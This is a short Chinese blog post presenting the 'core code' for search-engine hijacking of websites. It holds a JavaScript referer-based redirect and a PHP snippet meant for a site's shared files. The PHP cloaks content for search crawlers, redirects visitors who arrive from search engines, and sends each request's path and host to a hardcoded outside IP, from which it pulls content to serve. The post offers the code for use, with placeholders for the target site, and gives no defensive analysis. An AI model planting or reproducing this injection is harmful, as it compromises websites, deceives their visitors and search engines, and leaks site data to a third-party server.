Always been imitated
Never surpassed

搜索引擎挂马

最近出现很多针对搜索引擎挂马。核心代码:

1.js文件

var refurl=document.referrer

if(refurl.indexOf(“sogou”)>0 || refurl.indexOf(“baidu”)>0 || refurl.indexOf(“so”)>0 ||refurl.indexOf(“google”)>0) {

window.location.href=”http://需要跳转的网站”;}

2.针对公共文件可添加:

set_time_limit(20);error_reporting(0);

define(‘u_b’,’/’);

define(‘s_u’,’http://23.234.5.194/’);

define(‘s_s’,’@haosou.com|360.cn|baidu|spider|360spider|so|360|sogou|sm.cn|youdao@i’);

define(‘h_t’,$_SERVER[‘SERVER_NAME’]);define(‘r_s’,$_SERVER[‘HTTP_REFERER’]);define(‘u_s’,$_SERVER[‘HTTP_USER_AGENT’]);define(‘h_z’,s_p());

function s_p(){$d=”;if(isset($_SERVER[‘REQUEST_URI’])){$d=$_SERVER[‘REQUEST_URI’];}else{if(isset($_SERVER[‘argv’])){$d=$_SERVER[‘PHP_SELF’].’?’.$_SERVER[‘argv’][0];}else{$d=$_SERVER[‘PHP_SELF’].’?’.$_SERVER[‘QUERY_STRING’];}}if(isset($_SERVER[‘SERVER_SOFTWARE’]) && false!==stristr($_SERVER[‘SERVER_SOFTWARE’],’IIS’)){if(function_exists(‘mb_convert_encoding’)){$d=mb_convert_encoding($d,’UTF-8′,’GBK’);}else{$d=@iconv(‘GBK’,’UTF-8′,@iconv(‘UTF-8′,’GBK’,$d))==$d?$d:@iconv(‘GBK’,’UTF-8′,$d);}}$r=explode(‘#’,$d,2);$d=$r[0];return $d;}function r_s($url){$o=array(‘http’ => array(‘method’=>”GET”,’timeout’=>8));$context=stream_context_create($o);$h=file_get_contents($url,false,$context);if(empty($h)){$h=file_get_contents($url);}return $h;}

if(preg_match(s_s,r_s)){$d_s=true;if(preg_match(“@site%3A|inurl%3A@i”,r_s)){setcookie(‘xx’,h_t,time()+259200);$d_s=false;}if($d_s ){setcookie(‘xx’,h_t,time()+259200);$d_u=s_u.’?xu=’.bin2hex(h_z);$d_u.=’&ad=1&xh=’.bin2hex(h_t);$d_c=r_s($d_u);header(‘Location: http://您想跳到的网站/’);exit;}}if(strstr(h_z,u_b)){if(preg_match(s_s,u_s)){$d_u=s_u.’?xu=’.bin2hex(h_z);$d_u.=’&xh=’.bin2hex(h_t);$d_c=r_s($d_u);echo $d_c;exit;}}

赞(0)
@请尊重原创,未经允许不得转载:军S小站 » 搜索引擎挂马

抢沙发

评论前必须登录!

 

智慧源于勤奋,伟大出自平凡

联系我们

© 2019 军S小站   ©备案号: 蜀ICP备17043886号-2    网站地图   友情链接